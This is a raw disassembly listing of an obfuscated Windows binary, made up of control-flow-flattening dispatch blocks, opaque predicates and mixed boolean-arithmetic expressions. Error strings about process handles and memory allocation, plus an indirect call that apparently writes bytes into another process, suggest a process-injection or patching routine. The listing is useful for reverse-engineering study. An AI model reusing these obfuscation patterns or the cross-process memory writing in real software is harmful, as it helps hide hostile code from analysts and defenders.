xor eax, esi
mov esi, eax
xor esi, 0xf86ff8dd
xor edi, 0x307e1fca
and edi, esi
xor eax, 0x5900020
and eax, edx
or eax, edi
mov edx, ecx
xor edx, 0x61bb2a59
mov edi, edx
and edi, 0x78a50084
and ecx, 0x851a7a19
or ecx, edi
or edx, r8d
xor ecx, r8d
xor ecx, 0xfee5d5e6
and ecx, edx
or ecx, eax
mov eax, ecx
or eax, 0x1e7f6aa8
xor eax, 0xffff7abd
xor ecx, 0x1c25cdca
or ecx, eax
mov eax, ebx
or eax, 0x1e7f6aa8
mov edx, eax
xor edx, 0xe1809557
and edx, eax
xor ebx, edx
or ebx, edx
mov eax, ecx
not eax
and eax, ebx
and eax, 0xe1809557
mov edx, ecx
and edx, 0xbc1a6ca4
and ecx, 0x43e5935b
or ecx, 0xa4026480
mov edi, ebx
and edi, 0xa0000404
or edi, 0x365934b
and ebx, 0x41809153
xor ebx, edi
xor ebx, edx
xor ebx, ecx
mov esi, ebx
xor esi, 0x58980834
mov ecx, ebx
xor ecx, 0xa767f7cb
xor ebx, 0xe3fa4d7b
mov edi, ecx
or edi, esi
mov r8d, eax
mov edx, esi
and edx, 0x529e6b4
and ecx, 0xfad6194b
or ecx, edx
or esi, eax
xor ecx, eax
xor eax, 0x4f
and edi, ebx
xor r8d, 0xb0
and r8d, edi
not edi
and edi, eax
or edi, r8d
xor ecx, 0xb4
and ecx, esi
or ecx, edi
mov rax, qword [rbp - 0x10]
mov byte [rax], cl
mov rax, qword [rbp]
movsxd rdx, dword [rbp + 0x18]
add rdx, rax
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9d, 1
call r13
add rsp, 0x30
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x3ae9bfc
mov ebx, 0xe71f30b6
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
jmp 0x140001070
cmp eax, 0xd0f61691
jle 0x140006cec
cmp eax, 0xd18b2775
jg 0x14000a2f8
cmp eax, 0xd0f61692
je 0x14000b7d0
cmp eax, 0xd15fd1c0
jne 0x140001070
mov eax, 0x1b2a4ff3
jmp 0x140001070
cmp eax, 0x6d3c0c7a
jle 0x140006d17
cmp eax, 0x6d9cd677
jg 0x14000a318
cmp eax, 0x6d3c0c7b
je 0x14000b80e
cmp eax, 0x6d3ce556
jne 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp edi, 0xa
setge bl
setl cl
xor cl, al
and bl, al
xor bl, cl
mov eax, 0xdfd1caff
mov esi, 0xc86b5a2d
cmovne eax, esi
cmp edi, 0xa
mov ebx, 0xc86b5a2d
cmovl ebx, eax
test dl, 1
cmove ebx, esi
test cl, cl
cmove ebx, eax
test dl, 1
mov eax, ebx
cmove eax, esi
cmp edi, 0xa
cmovge eax, ebx
jmp 0x140001070
cmp eax, 0xb1b2b7f5
jle 0x140006d42
cmp eax, 0xb2f40a2b
jg 0x14000a359
cmp eax, 0xb1b2b7f6
je 0x14000b839
cmp eax, 0xb2084dc5
jne 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, ecx
xor al, r8b
or cl, dl
and cl, al
and bl, r8b
xor bl, cl
mov eax, 0x9e853b5
mov ebx, 0x36f399bb
cmovne eax, ebx
test dl, 1
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x2cebb11b
jle 0x140006d6d
cmp eax, 0x2d3e6b26
jg 0x14000a379
cmp eax, 0x2cebb11c
je 0x14000b843
cmp eax, 0x2d1a310b
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ca775a6
mov ecx, 0x80a13f37
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xf0a6364d
jle 0x140006db9
cmp eax, 0xf100549c
jg 0x14000a3ba
cmp eax, 0xf0a6364e
je 0x14000b86e
cmp eax, 0xf0bf39ba
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
and dl, al
xor cl, al
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0xbece51e9
mov ebx, 0xf9e4af0b
cmovne edx, ebx
test cl, cl
mov ecx, 0xbece51e9
cmove edx, ecx
test al, al
cmovne edx, ebx
mov eax, edx
jmp 0x140001070
cmp eax, 0x5ce94d94
jle 0x140006e05
cmp eax, 0x5e98e101
jg 0x14000a434
cmp eax, 0x5ce94d95
je 0x14000b89e
cmp eax, 0x5cf80f67
jne 0x140001070
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, 0xa43ffeb6
jmp 0x140001070
cmp eax, 0x9ff20439
jle 0x140006e30
cmp eax, 0xa055f817
jg 0x14000a489
cmp eax, 0x9ff2043a
je 0x14000b8bc
cmp eax, 0xa04c0316
jne 0x140001070
mov rax, qword [rbp + 8]
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl bl
mov ecx, ebx
xor cl, r8b
mov r9d, ecx
xor r9b, 1
mov edx, ebx
and dl, al
or dl, r9b
xor dl, cl
or al, bl
and al, dl
and bl, r8b
mov ecx, ebx
xor cl, 1
and cl, al
mov edx, ebx
xor dl, al
xor cl, dl
or bl, al
xor dl, bl
test bl, bl
mov eax, 0x7461ad4d
mov ebx, 0x2fb08304
cmovne eax, ebx
test dl, dl
mov edx, 0x7461ad4d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140001070
cmp eax, 0x1f1bc11b
jle 0x140006e7c
cmp eax, 0x1fdf753b
jg 0x14000a4a9
cmp eax, 0x1f1bc11c
je 0x14000b91e
cmp eax, 0x1f28256f
jne 0x140001070
mov eax, 0x6b5c17d4
jmp 0x140001070
cmp eax, 0xe05123b9
jle 0x140006ee5
cmp eax, 0xe189b55e
jg 0x14000a4c9
cmp eax, 0xe05123ba
je 0x14000b928
cmp eax, 0xe1465295
jne 0x140001070
mov eax, 0xbc491cce
jmp 0x140001070
cmp eax, 0x7ea2fbb8
jle 0x140006f36
cmp eax, 0x7f2bbb54
jg 0x14000a4e9
cmp eax, 0x7ea2fbb9
je 0x14000b953
cmp eax, 0x7ea5b6fd
jne 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov edi, 0xf31e710d
mov esi, 0x57867ddd
cmovne edi, esi
test dl, 1
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
cmovl eax, edi
test dl, 1
mov edx, 0x57867ddd
cmove edx, eax
cmp ecx, 0xa
cmovl edx, eax
test bl, bl
mov eax, 0xf31e710d
cmovne edx, eax
mov eax, edx
jmp 0x140001070
cmp eax, 0xc008a62f
jle 0x140006f61
cmp eax, 0xc065557e
jg 0x14000a555
cmp eax, 0xc008a630
je 0x14000b95d
cmp eax, 0xc060ba38
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x241b442a
mov ecx, 0x8c7156e0
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x3b32ac55
jle 0x140006fad
cmp eax, 0x3be00b53
jg 0x14000a596
cmp eax, 0x3b32ac56
je 0x14000b98d
cmp eax, 0x3b65fa06
jne 0x140001070
mov eax, 0x1ba730ef
jmp 0x140001070
cmp eax, 0xfe5c3f48
jle 0x140007032
cmp eax, 0xfec1db06
jg 0x14000a5d7
cmp eax, 0xfe5c3f49
je 0x14000b9b8
cmp eax, 0xfe80b524
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0x87eb07f3
mov ebx, 0xabbb21eb
cmove ecx, ebx
cmp dword [0x140035ab4], 0xa
cmovl ecx, ebx
setl dl
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x140001070
cmp eax, 0x3ffedfcf
jle 0x14000705d
cmp eax, 0x414d75ee
jle 0x14000a651
cmp eax, 0x414d75ef
je 0x14000b9c2
cmp eax, 0x419de295
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7f2bbb55
mov ecx, 0x4a76c11c
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x80a13f36
jg 0x1400070ae
cmp eax, 0x800cd7d4
je 0x14000b9e4
cmp eax, 0x805f6a7f
je 0x14000ba0f
cmp eax, 0x805f73a5
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x708e057b
mov ecx, 0x8eb03a1d
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xfaa02d
jg 0x14000710a
cmp eax, 0xff8c317e
je 0x14000ba74
cmp eax, 0x9b509c
je 0x14000ba7e
cmp eax, 0xe134ef
jne 0x140001070
mov edx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete r8b
cmp edi, 0xa
setge bl
setl al
mov edx, eax
and dl, sil
xor al, r8b
mov ecx, eax
xor cl, 1
and bl, r8b
or bl, cl
xor bl, al
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0x5f22dc66
mov ebx, 0x686daf2
cmovne ecx, ebx
test dl, dl
mov edx, 0x5f22dc66
cmovne ecx, edx
test al, al
cmove ecx, ebx
cmove ecx, edx
test esi, esi
mov eax, ecx
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
cmp eax, 0xc10aa939
jg 0x140007135
cmp eax, 0xc08f433a
je 0x14000bad8
cmp eax, 0xc09b3d48
je 0x14000bae2
cmp eax, 0xc0b9f200
jne 0x140001070
mov eax, 0x8f5df57
jmp 0x140001070
cmp eax, 0x605af1c5
jg 0x140007160
cmp eax, 0x5f11591a
je 0x14000baec
cmp eax, 0x5f22dc66
je 0x14000baf6
cmp eax, 0x5fe080d8
jne 0x140001070
sub rsp, 0x20
lea rcx, str.___Enable_to_retrieve_process_handle_..._n
call fcn.140011390
add rsp, 0x20
mov eax, 0xed8d7d61
jmp 0x140001070
cmp eax, 0xa210e38a
jg 0x1400071d2
cmp eax, 0xa0c306fd
je 0x14000bb21
cmp eax, 0xa0cd3490
je 0x14000bb4c
cmp eax, 0xa1e61e6c
jne 0x140001070
mov eax, 0x1b20bc26
jmp 0x140001070
cmp eax, 0x21636984
jg 0x14000724f
cmp eax, 0x208fbd61
je 0x14000bb84
cmp eax, 0x2095d31a
je 0x14000bb8e
cmp eax, 0x20b3d028
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2ef33f36
mov ecx, 0xbb060aae
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xe389ec3c
jg 0x1400072dc
cmp eax, 0xe1c5e555
je 0x14000bbbe
cmp eax, 0xe1ca3adf
je 0x14000bc2f
cmp eax, 0xe2b43bca
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
mov edx, 0x4e54855d
mov edi, 0x644d65de
cmove edx, edi
cmp dword [0x140035ab4], 0xa
setge bl
mov eax, 0x4e54855d
cmovge edx, eax
setl al
and cl, al
xor al, r8b
xor cl, al
and bl, r8b
xor bl, al
cmovne edx, edi
test cl, cl
cmovne edx, edi
mov eax, edx
jmp 0x140001070
cmp eax, 0x4cebb180
jg 0x140007328
cmp eax, 0x4bcb6c55
je 0x14000bc5a
cmp eax, 0x4c316b7e
je 0x14000bc85
cmp eax, 0x4ce43a0b
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x67057468
mov ecx, 0x6f9225d4
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x92be2d5f
jg 0x14000739c
cmp eax, 0x91d00e4c
je 0x14000bcdd
cmp eax, 0x91d88963
je 0x14000bcfb
cmp eax, 0x91f758d7
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4e25c122
mov ecx, 0x3e77f60b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x115011c1
jg 0x140007412
cmp eax, 0x10c61e46
je 0x14000bd05
cmp eax, 0x11316e7d
je 0x14000bd85
cmp eax, 0x11395846
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd15fd1c0
mov ecx, 0x1b2a4ff3
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xd3553431
jg 0x140007480
cmp eax, 0xd239fa1d
je 0x14000bdbd
cmp eax, 0xd302915f
je 0x14000bde8
cmp eax, 0xd3429984
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x140035ab4], 0xa
setge dl
setl r8b
mov ebx, r8d
and bl, al
and dl, al
xor dl, bl
xor al, r8b
or cl, r8b
and cl, al
xor cl, dl
mov eax, 0xf100549d
mov ecx, 0xa8ee8921
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x6e87abb1
jg 0x1400074e1
cmp eax, 0x6e1bbd9a
je 0x14000bdf2
cmp eax, 0x6e44af45
je 0x14000be40
cmp eax, 0x6e4c94f4
jne 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0xd3553432
mov ebx, 0x4f710a4a
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
jmp 0x140001070
cmp eax, 0xb40576ac
jg 0x140007577
cmp eax, 0xb343fa38
je 0x14000bebe
cmp eax, 0xb37756b5
je 0x14000beff
cmp eax, 0xb3e59329
jne 0x140001070
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, 0x5571f930
jmp 0x140001070
cmp eax, 0x2ef33f35
jg 0x1400079ec
cmp eax, 0x2dade428
je 0x14000bf2a
cmp eax, 0x2db96780
je 0x14000bf55
cmp eax, 0x2e9ba80a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2319137f
mov ecx, 0xda5d6905
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x2319137f
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xf1b02df7
jg 0x140007a3d
cmp eax, 0xf142d661
je 0x14000bf5f
cmp eax, 0xf160a702
je 0x14000bf70
cmp eax, 0xf1973ab6
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc2f21e82
mov ecx, 0x2823de95
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x43dcda7d
je 0x14000bf7a
cmp eax, 0x44197382
je 0x14000bfa5
cmp eax, 0x44313b5e
jne 0x140001070
mov eax, 0x3527348b
jmp 0x140001070
cmp eax, 0x898544ed
je 0x14000bfaf
cmp eax, 0x898acd74
je 0x14000c007
cmp eax, 0x8a122931
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x15440832
mov ecx, 0x6559b9fd
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x15440832
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x7bfe224
je 0x14000c032
cmp eax, 0x7df3fae
je 0x14000c03c
cmp eax, 0x8b1a25d
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x5c5fe881
mov ecx, 0x98879beb
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xcc4fc217
je 0x14000c0a5
cmp eax, 0xcc5a35ce
je 0x14000c0d0
cmp eax, 0xcc92411e
jne 0x140001070
mov eax, 0xe9a07a7b
jmp 0x140001070
cmp eax, 0x66c6f701
je 0x14000c100
cmp eax, 0x67057468
je 0x14000c10a
cmp eax, 0x6721bc38
jne 0x140001070
mov eax, 0x9ff2043a
jmp 0x140001070
cmp eax, 0xa916bef5
je 0x14000c114
cmp eax, 0xa9b0b482
je 0x14000c11e
cmp eax, 0xaa581d04
jne 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0xb40576ad
mov ebx, 0x9e9408b6
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
jmp 0x140001070
cmp eax, 0x26b4ff20
je 0x14000c17f
cmp eax, 0x26be2715
je 0x14000c189
cmp eax, 0x26d528a9
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xda754fff
mov ecx, 0x414d75ef
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xda754fff
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xe9a07a7b
je 0x14000c1b4
cmp eax, 0xe9d03871
je 0x14000c22a
cmp eax, 0xea3326b3
jne 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
or bl, al
mov ecx, edx
xor cl, r8b
and al, dl
or dl, r8b
xor dl, bl
and bl, cl
xor al, cl
or al, bl
xor dl, bl
mov ecx, eax
xor cl, dl
mov ecx, 0xbea58b0f
mov ebx, 0x7ea2fbb9
cmovne ecx, ebx
test dl, dl
mov edx, 0xbea58b0f
cmovne edx, ecx
test al, al
cmove edx, ecx
mov eax, edx
jmp 0x140001070
cmp eax, 0x55bac655
je 0x14000c271
cmp eax, 0x56338808
je 0x14000c2d5
cmp eax, 0x5653e286
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xca4f1318
mov ecx, 0xa0c306fd
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x994ad849
je 0x14000c300
cmp eax, 0x99a71c2b
je 0x14000c331
cmp eax, 0x9a7a9ca9
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
and cl, al
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0xdd0cc6d3
mov ebx, 0x7382e1c3
cmovne edx, ebx
test cl, cl
mov ecx, 0xdd0cc6d3
cmove edx, ecx
test al, al
cmovne edx, ebx
mov eax, edx
jmp 0x140001070
cmp eax, 0x1804a016
je 0x14000c35c
cmp eax, 0x1968a4ac
je 0x14000c366
cmp eax, 0x19929e7c
jne 0x140001070
mov eax, 0x2954ca12
jmp 0x140001070
cmp eax, 0xda4f4c31
je 0x14000c391
cmp eax, 0xda4f7b79
je 0x14000c3bc
cmp eax, 0xda5d6905
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1e29b9bc
mov ecx, 0x8ef4b69
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x1e29b9bc
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x7861a346
je 0x14000c3c6
cmp eax, 0x78941050
je 0x14000c3d0
cmp eax, 0x78c181dc
jne 0x140001070
sub rsp, 0x20
lea rcx, str.___Unable_to_allocate_memory_...__n
call fcn.140011390
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3efe9654
mov ecx, 0x6d9cd678
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xba01c462
je 0x14000c400
cmp eax, 0xba197232
je 0x14000c42b
cmp eax, 0xba21a992
jne 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
cmp edi, 0xa
setl bl
xor cl, bl
and bl, dl
mov r8d, ecx
xor r8b, bl
mov eax, ecx
xor al, 1
or al, bl
xor al, cl
mov eax, 0x24c07302
mov ecx, 0xe189b55f
cmovne eax, ecx
test r8b, r8b
mov ebx, 0x24c07302
cmovne eax, ebx
test edx, edx
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x34f57192
je 0x14000c45b
cmp eax, 0x3527348b
je 0x14000c4c1
cmp eax, 0x35dc3dca
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
xor dl, cl
xor cl, 1
or cl, dl
mov eax, ebx
xor al, cl
not cl
and cl, bl
xor cl, al
test cl, 1
mov eax, 0x80a3d343
mov ecx, 0x9ecb092a
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xf88b4fa1
je 0x14000c53d
cmp eax, 0xf898e519
je 0x14000c568
cmp eax, 0xf96b93bd
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl dl
setge r9b
and r9b, r8b
mov ebx, edx
xor bl, r8b
mov eax, ebx
xor al, 1
and cl, dl
or cl, al
xor cl, bl
mov eax, r9d
xor al, cl
not cl
and cl, r9b
xor cl, al
or dl, r8b
xor dl, bl
mov eax, 0x5596165e
mov edx, 0xe59b36d5
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x140001070
cmp eax, 0x3c8f6008
je 0x14000c572
cmp eax, 0x3cb6cf70
je 0x14000c5f1
cmp eax, 0x3d031da9
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
and cl, al
or dl, al
mov eax, ebx
xor al, 1
or cl, al
and cl, dl
xor al, cl
mov eax, 0x8ea2dfa4
mov edx, 0x778ddc75
cmovne eax, edx
test cl, cl
mov ecx, eax
mov edx, 0x8ea2dfa4
cmovne ecx, edx
test bl, bl
cmove ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x83b162ae
je 0x14000c621
cmp eax, 0x83ef79b9
je 0x14000c637
cmp eax, 0x840e972c
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xae39641a
mov ecx, 0xa0cd3490
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x3f105ce
je 0x14000c667
cmp eax, 0x4026c7a
je 0x14000c6e8
cmp eax, 0x40d432d
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge r9b
setl dl
and cl, dl
mov ebx, edx
xor bl, r8b
mov r10d, ebx
and dl, r8b
xor dl, 1
or dl, bl
xor bl, 1
and r9b, r8b
or r9b, bl
xor r10b, r9b
xor r10b, 1
or r10b, cl
mov ecx, r10d
xor cl, 1
and cl, dl
mov eax, edx
xor al, 1
and al, r9b
or al, r10b
xor cl, al
xor dl, r10b
movzx edi, al
not al
or al, dl
mov ebx, edx
not bl
or bl, cl
xor bl, al
test cl, 1
not cl
movzx eax, cl
mov ecx, 0x4c316b7e
mov esi, 0xc8451432
cmovne ecx, esi
test dl, 1
cmove eax, edi
mov edx, 0x4c316b7e
cmove ecx, edx
test al, 1
cmovne ecx, esi
test bl, 1
cmovne ecx, edx
mov eax, ecx
jmp 0x140001070
cmp eax, 0xc80c4bde
je 0x14000c6f2
cmp eax, 0xc8451432
je 0x14000c71d
cmp eax, 0xc86b5a2d
jne 0x140001070
mov eax, 0x3e77f60b
jmp 0x140001070
cmp eax, 0x632d8cb8
je 0x14000c727
cmp eax, 0x63328944
je 0x14000c752
cmp eax, 0x634306ee
jne 0x140001070
mov eax, 0x91add732
jmp 0x140001070
cmp eax, 0xa490bb35
je 0x14000d0a9
cmp eax, 0xa4922049
je 0x14000d19c
cmp eax, 0xa4942048
jne 0x140001070
mov eax, 0x44490330
jmp 0x140001070
cmp eax, 0x2346e09a
je 0x14000d1e0
cmp eax, 0x234ac1c0
je 0x14000105f
cmp eax, 0x234b500a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov eax, ebx
and al, cl
xor bl, cl
or dl, cl
xor bl, 1
and bl, dl
mov r8d, ebx
xor r8b, 1
mov edx, eax
or dl, r8b
mov ecx, eax
xor cl, bl
or cl, dl
mov r9d, eax
or r9b, bl
xor al, 1
and bl, al
xor al, r9b
or al, bl
xor dl, al
xor dl, 1
xor al, 1
and al, r8b
or al, dl
mov edx, ecx
not dl
and dl, al
xor al, cl
xor al, dl
test al, 1
mov eax, 0x55bac655
mov ecx, 0x1196b48a
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xe657b6f2
je 0x14000d25a
cmp eax, 0xe67c14f0
je 0x14000d289
cmp eax, 0xe6e9c9bc
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, r8b
or cl, r8b
mov eax, ebx
xor al, 1
or dl, r8b
and dl, cl
and dl, al
xor dl, bl
mov eax, 0x457a346c
mov ecx, 0x3f49abf1
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x4fa848c5
je 0x14000d293
cmp eax, 0x50a2eaf0
je 0x14000d2be
cmp eax, 0x517be7f3
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x262a6d69
mov ecx, 0xbbb0f92d
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x9527a8fe
je 0x14000d98c
cmp eax, 0x952fae3a
je 0x14000d9de
cmp eax, 0x95690247
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2dade428
mov ecx, 0xd7d2b144
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x14495faa
je 0x14000da64
cmp eax, 0x14ae170d
je 0x14000da82
cmp eax, 0x153ba1e1
jne 0x140001070
mov eax, 0x95edaf8f
jmp 0x140001070
cmp eax, 0xd5fda894
je 0x14000dae3
cmp eax, 0xd6703fa2
je 0x14000daed
cmp eax, 0xd6802f57
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa3b5aea0
mov ecx, 0xe19d7386
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xa3b5aea0
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x71e0c158
je 0x14000daf7
cmp eax, 0x7278ee4c
je 0x14000db01
cmp eax, 0x72bd4fc0
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcdf0605a
mov ecx, 0x3846b494
cmove eax, ecx
